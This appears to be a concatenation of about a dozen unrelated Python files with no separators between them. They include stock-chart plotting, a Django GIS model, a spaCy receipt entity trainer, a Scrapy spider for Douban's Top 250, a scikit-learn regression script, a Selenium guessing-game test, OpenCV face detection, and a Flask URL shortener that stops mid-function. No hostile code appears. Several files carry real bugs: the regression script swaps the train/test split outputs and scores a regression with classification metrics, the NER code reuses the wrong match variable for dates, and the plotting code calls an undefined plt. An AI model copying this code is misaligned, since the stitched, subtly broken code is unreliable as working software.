# -*- coding:UTF-8 -*-

import tensorflow as tf
from tensorflow import keras
import tushare as ts
import numpy as np
import pandas as pd
import os
import time
import sys
import random
from absl import app
from absl import flags
from datetime import datetime
sys.path.append("..")
from common import base_common
from common import np_common
from common.const_def import *
import tushare_data
import preprocess

FLAGS = flags.FLAGS

default_show_values =  [PPI_open,
                        PPI_close,
                        PPI_close_5_avg,
                        PPI_close_10_avg,
                        PPI_close_30_avg,
                        PPI_close_100_avg,
                        PPI_vol,
                        PPI_vol_10_avg,
                        PPI_vol_100_avg]

# reload(sys)
# sys.setdefaultencoding('utf-8')
# os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'

# mpl.rcParams['font.sans-serif']=['SimHei'] #指定默认字体 SimHei为黑体
# mpl.rcParams['axes.unicode_minus']=False #用来正常显示负号

def PlotCondition(pp_data, data_name, data_value, input_color):
    if len(pp_data) == 0:
        return
    filter_data = pp_data[pp_data[data_name] == data_value]
    if len(filter_data) == 0:
        return
    xs = [datetime.strptime(d, '%Y%m%d').date() for d in filter_data['trade_date'].astype(str).values]
    plt.plot(xs, filter_data['close'].values, 'o', color=input_color, label='%s_%u' % (data_name, data_value), linewidth=1)

def ShowAStock_(ts_code, show_values=[PPI_open,
                                     PPI_close,
                                     PPI_close_5_avg,
                                     PPI_close_10_avg,
                                     PPI_close_30_avg,
                                     PPI_close_100_avg,
                                     PPI_vol,
                                     PPI_vol_10_avg,
                                     PPI_vol_100_avg]):
    plt, mdate, _, _, zhfont = base_common.ImportMatPlot()
    # current_date_int = int(base_common.CurrentDate())
    current_date_int = 20200403
    o_data_source = tushare_data.DataSource(current_date_int,
                                            '',
                                            '',
                                            1,
                                            0,
                                            current_date_int)
    o_data_source.DownloadStockData(ts_code)
    o_data_source.UpdateStockPPData(ts_code)
    pp_data = o_data_source.LoadStockPPData(ts_code)
    preprocess.PPRegionCompute(pp_data, PPI_close, PPI_close_5_avg, 500, len(pp_data), np.mean)
    stock_name = o_data_source.StockName(ts_code)
    if len(pp_data) == 0:
        return
    title = "%s - %s" % (ts_code, stock_name)
    title = unicode(title, "utf-8")
    fig1 = plt.figure(dpi=70,figsize=(32,10))
    ax1 = fig1.add_subplot(1,1,1)
    ax1.xaxis.set_major_formatter(mdate.DateFormatter('%Y-%m-%d'))
    plt.title(title, fontproperties=zhfont)
    plt.xlabel('date')
    plt.ylabel('price')
    date_str_arr = np.array(["%.0f" % x for x in pp_data[:,PPI_trade_date]])
    xs = [datetime.strptime(d, '%Y%m%d').date() for d in date_str_arr]
    plt.grid(True)

    vol_list = [PPI_vol,
                PPI_vol_5_avg,
                PPI_vol_10_avg,
                PPI_vol_30_avg,
                PPI_vol_100_avg]
    print(set(show_values) - set(vol_list))
    if len(set(show_values) - set(vol_list)) > 0:
        close_max = max(pp_data[:,PPI_close])
        vol_max = max(pp_data[:,PPI_vol])
        vol_ratio = 1.0 / vol_max * close_max / 2
    else:
        vol_ratio = 1.0
    for col_index in show_values:
        name = ''
        if col_index in vol_list:
            # plt.bar(xs, pp_data[:, col_index] * vol_ratio, 0.8)
            plt.plot(xs, pp_data[:, col_index] * vol_ratio, label=PPI_name[col_index], linewidth=1)
        else:
            plt.plot(xs, pp_data[:, col_index], label=PPI_name[col_index], linewidth=1)

    plt.gcf().autofmt_xdate()
    plt.legend()
    #plt.ylim([0,5])
    plt.show()
    plt.pause(1000)

def ShowAStockLowLevel(pp_data, show_obj, show_values, vol_bar=False):
    data_len = len(pp_data)
    if data_len == 0:
        return
    if len(set(show_values) - set(PPI_vol_list)) > 0:
        close_max = max(pp_data[:,PPI_close])
        close_min = min(pp_data[:,PPI_close])
        vol_max = max(pp_data[:,PPI_vol])
        vol_min = 0.0
        vol_range = vol_max - vol_min
        vol_show_range = (close_max - close_min) / 3
        vol_show_offset = close_min - vol_show_range
        show_obj.SetBaseLine(vol_show_offset)

        if vol_range < 1.0:
            vol_range = 1.0
        vol_ratio = vol_show_range / vol_range
    else:
        vol_ratio = 1.0
    data_list = []
    name_list = []
    bar_list = []
    for col_index in show_values:
        if col_index in PPI_vol_list:
            data_list.append((pp_data[:, col_index] - vol_min) * vol_ratio + vol_show_offset)
        else:
            data_list.append(pp_data[:, col_index])
        bar_list.append(vol_bar and (col_index == PPI_vol))
        name_list.append(PPI_name[col_index])
    return show_obj.RefreshAlign(pp_data[:,PPI_trade_date], data_list, bar_list, name_list)

# def ShowAStock(pp_data, ts_code, code_name):
#     title = "%s - %s" % (ts_code, code_name)
#     show = np_common.Show(title, True)
#     ShowAStockLowLevel(pp_data, show, show_values=[PPI_open])

# if __name__ == "__main__":
#     code_list = ['000001.SZ']
#     if len(sys.argv) > 1:
#         code_list = [sys.argv[1]]
#     for ts_code in code_list:
#         # ShowAStock(ts_code, [PPI_close, PPI_close_30_avg, PPI_vol_5_avg, PPI_vol_30_avg])
#         ShowAStock(ts_code, [PPI_close, PPI_close_5_avg, PPI_close_10_avg, PPI_close_30_avg, PPI_close_100_avg, PPI_vol_5_avg])

def RandShow(pp_data, show_obj, start_day_index):
    temp_index = start_day_index
    data_len = len(pp_data)
    if data_len == 0:
        return
    show_len = FLAGS.l
    if show_len > data_len:
        show_len = data_len
    while True:
        if (temp_index + show_len) > data_len:
            temp_index = data_len - show_len
        if temp_index < 0:
            temp_index = 0
        ret = ShowAStockLowLevel(pp_data[temp_index:temp_index+show_len], show_obj, [PPI_close, PPI_close_5_avg, PPI_vol], False)
        if 'left' == ret:
            temp_index += 1
        elif 'right' == ret:
            temp_index -= 1
        elif 'n' == ret:
            break

def main(argv):
    del argv
    random.seed(123)
    show = np_common.Show(True)
    if FLAGS.r:
        data_source = tushare_data.DataSource(20000101, '', '', 1, 20000101, 20200306)
        while True:
            code_index = random.randint(0, len(data_source.code_list) - 1)
            ts_code = data_source.code_list[code_index]
            print(ts_code)
            code_name = data_source.name_list[code_index]
            pp_data = data_source.LoadStockPPData(ts_code, True)
            if len(pp_data) == 0:
                return
            day_index = random.randint(0, len(pp_data) - 1)
            show.SetTitle('%s - %s' % (ts_code, code_name))
            RandShow(pp_data, show, day_index)

    else:
        data_source = tushare_data.DataSource(0, '', '', 1, 20000101, 20200603)
        ts_code = FLAGS.c
        code_name = data_source.StockName(ts_code)
        data_source.DownloadStockData(ts_code)
        data_source.UpdateStockPPData(ts_code)
        pp_data = data_source.LoadStockPPData(ts_code, True)
        show.SetTitle('%s - %s' % (ts_code, code_name))
        ShowAStockLowLevel(pp_data, show, [PPI_open, PPI_vol])

    # ShowAStock_(FLAGS.c)

if __name__ == "__main__":
    flags.DEFINE_boolean('r', False, 'rand show')
    flags.DEFINE_string('c', '000001.SZ', 'ts code')
    flags.DEFINE_integer('l', 100, 'rand test show data len')
    app.run(main)


from django.db import models

# Create your models here.

from django.contrib.gis.db import models

COUNTY_LIST = [
    'Atlantic County',
    'Bergen County',
    'Burlington County',
    'Camden County',
    'Cape May County',
    'Cumberland County',
    'Essex County',
    'Gloucestor County',
    'Hudson County',
    'Hunterdon County',
    'Mercer County',
    'Middlesex County',
    'Monmouth County',
    'Morris County',
    'Ocean County',
    'Passaic County',
    'Salem County',
    'Somerset County',
    'Sussex County',
    'Union County',
    'Warren County'

]

COUNTY_TYPES = [(county, county) for county in COUNTY_LIST]

class GeoUSA(models.Model):
    state = models.CharField(max_length=250, default="New Jersey")
    county = models.CharField(max_length=250, blank=True, null=True)
    name = models.CharField(max_length=2500) # corresponds to the 'str' field
    zone_info = models.CharField(max_length=2500, blank=True, null=True) # corresponds to the 'str' field
    fld_id = models.CharField(max_length=250, blank=True, null=True)
    poly = models.PolygonField(srid=4269) # we want our model in a different SRID

    def __str__(self):
        return "{} - {} - {}".format(self.id, self.county, self.name)


import os
import re
import json
import random
import warnings
from pathlib import Path
import pandas as pd
import numpy as np
import spacy
from spacy.util import minibatch, compounding
from spacy.matcher import PhraseMatcher

warnings.filterwarnings("ignore")

class NER:
    def __init__(
        self,
        iter=100,
        dropout=0.5,
        min_batchsize=4.0,
        max_batchsize=32.0,
        compounding_coef=0.01,
        train_text_path=None,
        train_entities_path=None,
        test_text_path=None,
    ):
        self.iter = iter
        self.dropout = dropout
        self.min_batchsize = min_batchsize
        self.max_batchsize = max_batchsize
        self.compounding_coef = compounding_coef
        self.train_text_path = train_text_path
        self.train_entities_path = train_entities_path
        self.test_text_path = test_text_path

    def get_data(self, *args, **kwargs):
        """
        Get data from the text files and transform into a pandas dataframe
        parameters: None
        returns: dataframe
        """
        set_text = set(os.listdir(self.train_text_path))
        set_ent = set(os.listdir(self.train_entities_path))
        training_set = list(set_text.intersection(set_ent))

        self.data = pd.DataFrame(columns=["filename", "text"])
        self.data["filename"] = training_set
        data_text = []
        for file in self.data["filename"]:
            rec_text = []
            pattern = r"\d+,\d+,\d+,\d+,\d+,\d+,\d+,\d+,(.+)"
            with open(os.path.join(self.train_text_path, file)) as f:
                f.seek(0)
                lines = f.readlines()
                for line in lines:
                    rec_text += re.findall(pattern, line)
            data_text.append(" ".join([x.strip() for x in rec_text]))
        self.data["text"] = data_text
        ent_list = []
        for file in self.data["filename"]:
            with open(f"{self.train_entities_path}/{file}") as f:
                entity_dict = json.load(f)
                ent_list.append(entity_dict)
        self.data["entity_dictionary"] = ent_list

        return self.data

    def transform_data(self, data, *args, **kwargs):
        """
        Transform pandas dataframe to the spaCy compliant training data format
        parameters: DataFrame
        returns: List of text and entity tuples
        """
        training_data = []
        id_ent = []
        nlp_match = spacy.load("en_core_web_sm")
        matcher = PhraseMatcher(nlp_match.vocab)
        for index, row in self.data.iterrows():
            ent_dic = row["entity_dictionary"]
            ent = []
            phrases = list(ent_dic.values())
            patterns = [nlp_match.make_doc(phrase) for phrase in phrases]
            matcher.add("EntityList", None, *patterns)

            doc = nlp_match(row["text"])
            matches = matcher(doc)
            for match_id, start, end in matches:
                try:
                    span = doc[start:end]
                    if start > 0:
                        sb = doc[0:start]
                        start_index = len(sb.text) + 1
                    else:
                        start_index = 0
                    end_index = start_index + len(span.text)
                except:
                    pass

                for key, value in ent_dic.items():
                    if value == span.text:
                        ent_tup = (start_index, end_index, key)
                        ent.append(ent_tup)
            ent_set = {"company", "date", "total", "address"}
            detected_entities = set([key for start, end, key in ent])
            missed_entities = list(ent_set - detected_entities)
            if "total" in missed_entities:
                value = ent_dic["total"]
                if len(value) > 0:
                    catch_total = re.search(value, str(row["text"]).replace(",", ""))
                    ent_tup = (catch_total.span()[0], catch_total.span()[1], "total")
                    ent.append(ent_tup)
            if "date" in missed_entities:
                value = ent_dic["date"]
                if len(value) > 0:
                    catch_date = re.search(value, str(row["text"]))
                    if catch_date == None:
                        catch_date = re.search(
                            r"\d\d[-/]*\d\d[-/]*\d\d", str(row["text"])
                        )
                    try:
                        ent_tup = (catch_total.span()[0], catch_total.span()[1], "date")
                        ent.append(ent_tup)
                    except:
                        pass
            if "company" in missed_entities:
                value = ent_dic["company"]
                catch_company = re.search(value, str(row["text"]))
                if catch_company != None:
                    ent_tup = (
                        catch_company.span()[0],
                        catch_company.span()[1],
                        "company",
                    )
                    ent.append(ent_tup)
                else:
                    catch_company = re.search(value, str(row["text"]).replace(".", ""))
                    if catch_company != None:
                        ent_tup = (
                            catch_company.span()[0],
                            catch_company.span()[1],
                            "company",
                        )
                        ent.append(ent_tup)
            if "address" in missed_entities:
                try:
                    value = ent_dic["address"]
                    catch_address = re.search(value, str(row["text"]))
                    if catch_address != None:
                        ent_tup = (
                            catch_address.span()[0],
                            catch_address.span()[1],
                            "address",
                        )
                        ent.append(ent_tup)
                except:
                    pass
            id_ent.append(len(ent))
            entity_dictionary = {"entities": ent}
            train_tup = (row["text"], entity_dictionary)
            training_data.append(train_tup)

        return training_data

    def fit(self, train_text_path, train_entities_path, *args, **kwargs):
        """
        Fit a blank English language model from spaCy and save the model in the current directory
        parameters: None
        returns: None
        """
        self.train_text_path = train_text_path
        self.train_entities_path = train_entities_path
        data = self.get_data(self)
        training_data = self.transform_data(self, data)
        TRAIN_DATA = training_data
        output_dir = os.path.join(os.getcwd(), "model")

        nlp = spacy.blank("en")
        ner = nlp.create_pipe("ner")
        nlp.add_pipe(ner, last=True)
        for _, annotations in TRAIN_DATA:
            for ent in annotations.get("entities"):
                ner.add_label(ent[2])

        dropout = self.dropout
        min_batchsize = self.min_batchsize
        max_batchsize = self.max_batchsize
        compounding_coef = self.compounding_coef
        n_iter = self.iter

        nlp.begin_training()
        for itn in range(n_iter):
            random.shuffle(TRAIN_DATA)
            losses = {}
            batches = minibatch(
                TRAIN_DATA,
                size=compounding(min_batchsize, max_batchsize, compounding_coef),
            )
            for batch in batches:
                texts, annotations = zip(*batch)
                try:
                    nlp.update(
                        texts, annotations, drop=dropout, losses=losses,
                    )
                except:
                    pass
            print(f"{itn} Losses", losses)

        output_dir = Path(output_dir)
        if not output_dir.exists():
            output_dir.mkdir()
        nlp.to_disk(output_dir)

    def get_test_data(self, *args, **kwargs):
        """
        Fetch the data from the test directory and transform it into a pandas DataFrame
        returns: DataFrame
        """
        test_text_files = os.listdir(self.test_text_path)
        test_data = pd.DataFrame(columns=["filename", "text"])
        test_data["filename"] = test_text_files
        data_text = []
        for file in test_data["filename"]:
            rec_text = []
            pattern = r"\d+,\d+,\d+,\d+,\d+,\d+,\d+,\d+,(.+)"
            try:
                with open(os.path.join(self.test_text_path, file)) as f:
                    lines = f.readlines()
                    for line in lines:
                        rec_text += re.findall(pattern, line)
            except:
                pass
            data_text.append(" ".join([x.strip() for x in rec_text]))
        test_data["text"] = data_text
        return test_data

    def predict(self, test_text_path, reciept_text="", is_dir=True, *args, **kwargs):
        """
        Identify entities in a new text string
        """
        cwd = os.getcwd()
        nlp = spacy.load(os.path.join(cwd, "model"))
        train = os.listdir(self.train_entities_path)
        ent_list = []
        for file in train:
            with open(os.path.join(self.train_entities_path, file)) as f:
                entity_dict = json.load(f)
                ent_list.append(entity_dict)
        memory_dictionary = {"company": [], "address": [], "date": [], "total": []}
        for dictionary in ent_list:
            for key, value in dictionary.items():
                memory_dictionary[key].append(value)

        if is_dir:
            self.test_text_path = test_text_path
            test_data = self.get_test_data(self)
            for index, row in test_data.iterrows():
                op_dict = {"company": "", "date": "", "address": "", "total": ""}
                doc = nlp(row["text"])
                for ent in doc.ents:
                    op_dict[ent.label_] = ent.text

                for tag, tag_memory in memory_dictionary.items():
                    for tag_value in tag_memory:
                        if tag == "total":
                            pass
                        elif (re.search(tag_value, row["text"]) != None) and (
                            op_dict[tag] == ""
                        ):
                            op_dict[tag] = tag_value

                print("Entities: ", op_dict)
                op_dir = os.path.join(cwd, "output")
                if not os.path.isdir(op_dir):
                    os.mkdir(path=op_dir)
                json_object = json.dumps(op_dict, indent=4)
                with open(os.path.join(op_dir, f"{row['filename']}"), "w") as op:
                    op.write(json_object)
        else:
            doc = nlp(reciept_text)
            op_dict = {"company": "", "date": "", "address": "", "total": ""}
            for ent in doc.ents:
                op_dict[ent.label_] = ent.text
            for tag, tag_memory in memory_dictionary.items():
                for tag_value in tag_memory:
                    if tag == "total":
                        pass
                    elif (re.search(tag_value, row["text"]) != None) and (
                        op_dict[tag] == ""
                    ):
                        op_dict[tag] = tag_value
            print("Entities: ", op_dict)


# -*- coding: utf-8 -*-
from __future__ import absolute_import

import string
import sys
import unicodedata
from collections import namedtuple

spectuple = namedtuple('SpecificPlatform', ['dist',
                                            'major_vers',
                                            'full_vers',
                                            'stability'])

def normalize_name(s):
    """In Python 2, replaces all non-alphanumeric characters with ``_``. In
    Python 3, uses the `unicode identifiers rules
    <https://docs.python.org/3/reference/lexical_analysis.html#identifiers>`_
    to determine which characters to replace.

    :type s: str
    :param s: normalize

    Returns a string.
    """
    if sys.version_info < (3, 0):
        valid = lambda x: x in string.ascii_letters + string.digits
    else:
        valid = lambda x: unicodedata.category(x) in ('Lu', 'Ll', 'Lt', 'Lm', 'Lo', 'Nl', 'Mn', 'Mc', 'Nd', 'Pc')
    s = list(s.lower())
    for i, c in enumerate(s):
        s[i:i+1] = c if valid(c) else '_'
    return ''.join(s)


import numpy
import torch
from torchvision import transforms

std = [0.229,0.224,0.225]
mean = [0.485,0.456,0.406]
def encoder(img):
    img = img.cuda()
    for i in range(0,img.size(0)):
        for j in range(0,img.size(1)):
                    img[i][j] = (img[i][j]-112)/112
    return img

def decoder(img):
    img = img.cuda()
    for i in range(0, img.size(0)):
        for j in range(0, img.size(1)):
            img[i][j] = img[i][j]*112 + 112
    return img

def verencode(verify):
    transform_val_list = [
        transforms.Normalize([0.485,0.456,0.406],[0.229,0.224,0.225]),
    ]
    trans_compose = transforms.Compose(transform_val_list)
    re = trans_compose(verify)
    return re


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations

class Migration(migrations.Migration):

    dependencies = [
        ('core', '0013_auto_20150322_0000'),
    ]

    operations = [
        migrations.AlterField(
            model_name='channel',
            name='chan_id',
            field=models.CharField(help_text='The internal identifier for this channel', unique=True, max_length=64, verbose_name='Channel ID'),
            preserve_default=True,
        ),
        migrations.AlterField(
            model_name='channel',
            name='xmltvid',
            field=models.CharField(default='', help_text='The value of "channel id" in the EPG xmltv file.', max_length=64, verbose_name='XMLTV ID', blank=True),
            preserve_default=True,
        ),
    ]


import scrapy
from lxml import etree
from scrapy.http import Request
from movieSpider.items import MovieSpiderItem
# from movieSpider.movieSpider.pipeLine.MySQLPipeline import MySQLPipeline
# from ..pipeLine.MySQLPipeline import MySQLPipeline

class Myspider(scrapy.Spider):
    name = 'movieSpider'
    allowed_domains = ['douban.com']
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
    }

    def start_requests(self):
        for id in range(0, 251, 25):
            url = 'https://movie.douban.com/top250?start=' + str(id)
            yield Request(url, headers=self.headers, callback=self.parse)

    def parse(self, response):
        # 将request.content 转化为 Element
        root = etree.HTML(response.text)
        # 选取 ol/li/div[@class="item"] 不管它们在文档中的位置
        items = root.xpath('//ol/li/div[@class="item"]')
        for item in items:
            # 注意可能只有中文名，没有英文名；可能没有quote简评
            rank, name, alias, rating_num, quote, url = "", "", "", "", "", ""
            try:
                save_item = MovieSpiderItem()
                save_item['url'] = item.xpath('./div[@class="pic"]/a/@href')[0]
                save_item['rank'] = item.xpath('./div[@class="pic"]/em/text()')[0]
                title = item.xpath('./div[@class="info"]//a/span[@class="title"]/text()')
                save_item['name'] = title[0].encode('gb2312', 'ignore').decode('gb2312')

                save_item['alias'] = title[1].encode('gb2312', 'ignore').decode('gb2312') if len(title) == 2 else ""
                save_item['rating_num'] = item.xpath('.//div[@class="bd"]//span[@class="rating_num"]/text()')[0]
                quote_tag = item.xpath('.//div[@class="bd"]//span[@class="inq"]')
                if len(quote_tag) is not 0:
                    save_item['quote'] = quote_tag[0].text.encode('gb2312', 'ignore').decode('gb2312').replace('\xa0', '')
                else:
                    save_item['quote'] = ''
                # 输出 排名，评分，简介
                # print(rank, rating_num, quote)
                # 输出 中文名，英文名
                # print(name.encode('gb2312', 'ignore').decode('gb2312'),
                #       alias.encode('gb2312', 'ignore').decode('gb2312').replace('/', ','))
                yield save_item
            except:
                print('faild!')
                pass


import pandas as pd
import pandas as pd
import numpy as np
from numpy import array
import matplotlib.pyplot as plt
from sklearn .model_selection import train_test_split
from sklearn .linear_model import LinearRegression
from sklearn.preprocessing import LabelEncoder

from sklearn .metrics import classification_report,confusion_matrix,accuracy_score

# Step 1 - Load data and understand
ds = pd.read_csv(r"C:\Users\HP\Downloads\weight-height.csv")
print(ds)
print (ds.head(10))
print (ds.tail(10))
print (ds.describe())
print (ds.isnull().sum())

print('##################################################')
# Step 2 - visualize
x=ds.iloc[:,:-1].values
y=ds.iloc[:,2].values
#plt.bar(x,y,color="green")
#plt.grid(True)
#plt.legend
#plt.show
print('##################################################')
#step 3-convert categoricaldata tinto numerical data

ds['Gender'].replace('Female',0, inplace=True)
ds['Gender'].replace('Male',1, inplace=True)
x = ds.iloc[:, :-1].values
y = ds.iloc[:, 2].values
labelEncoder_gender =  LabelEncoder()
x[:,0] = labelEncoder_gender.fit_transform(x[:,0])

X = np.vstack(x[:, :]).astype(np.float)
print(x)
print(y)
print('##################################################')
#sstep 4-splite

x_train,y_test,x_test,y_train =train_test_split(x,y, test_size=(0.2),random_state=0)

print('##################################################')
#step 5 train
model=LinearRegression()

model.fit ( x_train,y_train)

#step 6 preadic

pre=model.predict(x_test)

#step 7 output
print(classification_report(y_test,pre))
print(accuracy_score(y_test,pre))
print(confusion_matrix(y_test,pre))


# 3 Feladat: Guess the number automatizálása

from selenium import webdriver
import time
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager

options = Options()
options.headless = False
driver = webdriver.Chrome(executable_path=ChromeDriverManager().install(), options=options)

driver.get("https://witty-hill-0acfceb03.azurestaticapps.net/guess_the_number.html")

# felhasznált mezők definiálása, állapotuk kiolvasása
restart_button = driver.find_element_by_xpath("/html/body/div/div[1]/div[2]/button")
guess_input = driver.find_element_by_xpath("/html/body/div/div[2]/input")
guess_button = driver.find_element_by_xpath("/html/body/div/div[2]/span/button")

guess_lower = driver.find_element_by_xpath("/html/body/div/p[3]")
guess_higher = driver.find_element_by_xpath("/html/body/div/p[4]")
guess_yes = driver.find_element_by_xpath("/html/body/div/p[5]")

num_of_guesses = driver.find_element_by_xpath('/html/body/div/div[3]/p/span').text

# a szám keresése:
restart_button.click()

num_steps = 0
for i in range(100):
    guess_input.clear()
    guess_input.send_keys(i+1)
    guess_button.click()
    num_steps += 1
    time.sleep(0.5)
    guess_yes_contr = guess_yes.get_attribute('class')
    if guess_yes_contr == "alert alert-success":
        break

# a szükséges lépések számának ellenőrzése:
time.sleep(1)
num_of_guesses = driver.find_element_by_xpath('/html/body/div/div[3]/p/span').text
print(num_of_guesses)
print(num_steps)

try:
    assert int(num_of_guesses) == num_steps
    print("Az alkalmazás és az általam számolt lépésszám egyezik.")
except:
    print("Az alkalmazás és az általam számolt lépésszám NEM egyezik.")
finally:
    pass

# intervallumon kívüli számokkal való tesztelés:
def test_inv_num(num, sel, re):
    restart_button.click()
    guess_input.send_keys(num)
    guess_button.click()
    contr = sel.get_attribute('class')
    try:
        assert contr == "alert alert-warning"
        print(f'A {num}-re megfelelő, "{re}" válasszal reagált az alkalmazás.')
    except:
        print(f'A {num}-re nem megfelelő válasszal reagált az alkalmazás.')

test_inv_num('-19', guess_higher, "Guess higher")

test_inv_num('255', guess_lower, "Guess lower")

time.sleep(2)
driver.close()


import seaborn as sns
import pandas as pd
import matplotlib.pyplot as plt

from matplotlib.dates import DateFormatter
import matplotlib.dates as mdates
from datetime import datetime

from matplotlib.ticker import MultipleLocator, FuncFormatter

def dateparse(d):
    return datetime.strptime(d.strip('" '), "%Y-%m-%d")

plt.xkcd()

plt.rcParams["font.family"] = "Humor Sans"

df = pd.read_csv("stats.csv", parse_dates=["date"], date_parser=dateparse)
# print(df.head())
ax = sns.lineplot(
    x=df.date,
    y=df.wc,
    data=df,
    # palette="tab10",
    linewidth=2,
    marker="o",
    color="#2d73b9",
)

# # Set general font size
# plt.rcParams["font.size"] = "10"

# # Set tick font size
# for label in ax.get_xticklabels() + ax.get_yticklabels():
#     label.set_fontsize(10)

ax.set(xlabel="Date", ylabel="Word Count", title="Words per Post")
sns.despine()
plt.setp(ax.get_xticklabels(), rotation=45)

# Define the date format
date_fmt = DateFormatter("%Y")
ax.xaxis.set_major_formatter(date_fmt)
# Ensure a major tick for each week using (interval=1)
# ax.xaxis.set_major_locator(mdates.WeekdayLocator(interval=1))
# ax.xaxis.set_major_locator(mdates.MonthLocator(interval=6))
ax.xaxis.set_major_locator(mdates.YearLocator())
ax.xaxis.set_minor_locator(mdates.MonthLocator(interval=1))

ax.yaxis.set_major_formatter(FuncFormatter(lambda x, pos: f"{int(x):,}"))

# add text annotation
# plt.text(
#     17000,
#     1300,
#     "Can you guess \nwhen we had kids?",
#     horizontalalignment="center",
#     size="medium",
#     color="black",
#     # weight="semibold",
# )

plt.savefig("plot_words_per_post.svg", bbox_inches="tight", transparent=False)


# -*- coding: utf-8 -*-
"""
Created on Mon Aug 16 13:47:17 2021

@author: Frederik Wieder
"""
from flux_class_vecs import flux_cone,supp

import numpy as np
import random
from multiprocessing import Pool
import tqdm
from scipy.optimize import linprog

class arc:
    def __init__(self,start_nodes,target_nodes, consume_rates=None, produce_rates=None):
        self.start_nodes = start_nodes
        self.target_nodes = target_nodes

        self.consume_rates = consume_rates
        self.produce_rates = produce_rates

class Hygraph:
    def __init__(self,amount_of_nodes,arcs = []):

        self.nodes = np.arange(amount_of_nodes)
        self.arcs = arcs

    def add_arc(self,arc):
        self.arcs.append(arc)

    def get_incidence(self):
        incidence = np.zeros((len(self.nodes),len(self.arcs)))
        for i,arc in enumerate(self.arcs):
            for j,neg in enumerate(arc.start_nodes):
                incidence[neg,i] = -arc.consume_rates[j]
            for j,neg in enumerate(arc.target_nodes):
                incidence[neg,i] = arc.produce_rates[j]

        return incidence

def generate_random_network(amount_of_metabolites,amount_of_reactions,hyperarc_probability = 0.2,possible_weights = [1,2,3],weight_probabilities = [0.8,0.15,0.05]):
    G = Hygraph(amount_of_metabolites)
    number_of_ex_reacs = random.randint(2,amount_of_reactions-2)
    ex_metabs = np.random.choice(G.nodes,number_of_ex_reacs)
    for ex in ex_metabs:
        if random.random() < 0.5:
            start_nodes = [ex]
            target_nodes = []
            consume_rates = [np.random.choice(possible_weights,1,p =weight_probabilities)]
            produce_rates = [0]
        else:
            target_nodes = [ex]
            start_nodes = []
            consume_rates = [0]
            produce_rates = [np.random.choice(possible_weights,1,p = weight_probabilities)]
        G.add_arc(arc(start_nodes,target_nodes,consume_rates,produce_rates))

    for reac in range(amount_of_reactions-number_of_ex_reacs):
        start_nodes = [random.choice(G.nodes)]
        while random.random() < hyperarc_probability:
            if len(start_nodes) < amount_of_metabolites-1:
                start_nodes.append(random.choice(list(set(G.nodes)-set(start_nodes))))
        target_nodes = [random.choice(list(set(G.nodes)-set(start_nodes)))]
        while random.random() < hyperarc_probability:
            if len(target_nodes) < amount_of_metabolites - len(start_nodes):
                target_nodes.append(random.choice(list(set(G.nodes)-set(start_nodes)-set(target_nodes))))
        consume_rates = np.random.choice(possible_weights,len(start_nodes),p = weight_probabilities)
        produce_rates = np.random.choice(possible_weights,len(target_nodes),p = weight_probabilities)
        G.add_arc(arc(start_nodes,target_nodes,consume_rates,produce_rates))

    incidence = G.get_incidence()

    rev = np.random.choice([0,1],len(G.arcs))
    while len(supp(rev)) == 0  or len(supp(rev)) == len(rev):
        rev = np.random.choice([0,1],len(G.arcs))
    return flux_cone("Random network",incidence[~np.all(incidence==0,axis=1)],rev)

if __name__ == "__main__":

    model = generate_random_network(8,20)
    model.name = "random model"
    model.make_irredundant()
    model.get_mmbs()
    mmb_lens = [len(mmb) for mmb in model.mmbs]
    gamma = max(mmb_lens)
    if gamma < 2:
        print("simplicial")
        import sys
        sys.exit()
    model.get_efvs()
    print("number of efms: ", len(model.efvs))
    print("gamma = ", gamma)

    dims_irr = [(model.check_dim(efv),len(model.irr_supp(efv))) for efv in tqdm.tqdm(model.efvs)]
    t = model.get_lin_dim()
    print("")
    print("lin_dim =" , t)
    from operator import itemgetter
    print("Mag degree:", max(dims_irr,key=itemgetter(0)))
    print("max irrsupp: ", max(dims_irr,key=itemgetter(1)))
    print("testing conjecture")
    for deg_irr in dims_irr:
        if deg_irr[0]-t-1+gamma<deg_irr[1]:
            print("False: ", deg_irr)
            import sys
            sys.exit()
    print("conjecture true for ", model.name)


import cv2
import numpy as np
import urllib.request as urllib
import time

# Goal: from a stream or just a video, cut the silent parts of the input and center the frame if it finds a face

phone_stream_url = 'http://192.168.18.3:8080/shot.jpg'

def main():
    # Load trained face recognition classifier
    face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')

    # Input, for now it is an image instead of a video
    #input_image = cv2.imread('people.jpg')
    #video_stream = cv2.VideoCapture('person_dancing.mp4')
    imgResp = urllib.urlopen(phone_stream_url)
    imgNp = np.array(bytearray(imgResp.read()),dtype=np.uint8)
    img = cv2.imdecode(imgNp,-1)

    video_stream = cv2.VideoCapture(0)

    while True:
        _, input_image = video_stream.read()
        # Convert the input into a grayscale image
        grayscaled_input = cv2.cvtColor(input_image, cv2.COLOR_BGR2GRAY)

        # Detect the faces
        faces = face_cascade.detectMultiScale(grayscaled_input, 1.1, 4)

        # Just drawing a rectangle around it
        for (x, y, w, h) in faces:
            cv2.rectangle(input_image, (x, y), (x+w, y+h), (255, 0, 0), 2)

            #center_coordinates = (x + int(w/2), y + int(y/2))
            #cv2.circle(input_image, center_coordinates, w, (255, 0, 0), 2)
            #cv2.imshow('Cropped frame', input_image[(y-20):(y+h+20), (x-20):(x+w+20)])

        cv2.imshow('Frame', input_image)
        time.sleep(.1)

        # Stop if escape key is pressed
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break

    video_stream.release()

if __name__ == "__main__":
    main()


"""Main view handler"""
import random
import string
import re
from flask import Blueprint, redirect, url_for, request, render_template
from flask_json import json_response
from ..models import Link, db

page = Blueprint("serve", __name__, static_folder="static")

REGEX = re.compile("http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+") # pylint: disable=anomalous-backslash-in-string

@page.route("/", methods=["GET"])
def index():
    """Render website"""
    return render_template("index.html")

@page.route("/<string:text>")
def redirect_to_page(text):
    """Redirect handler"""
    query = Link.query.filter_by(text=text).first()
    if query is None:
        return redirect(url_for("serve.index"))
    return redirect(query.url)

@page.route("/", methods=["POST"])
def add_new():
    """Add new url to database"""
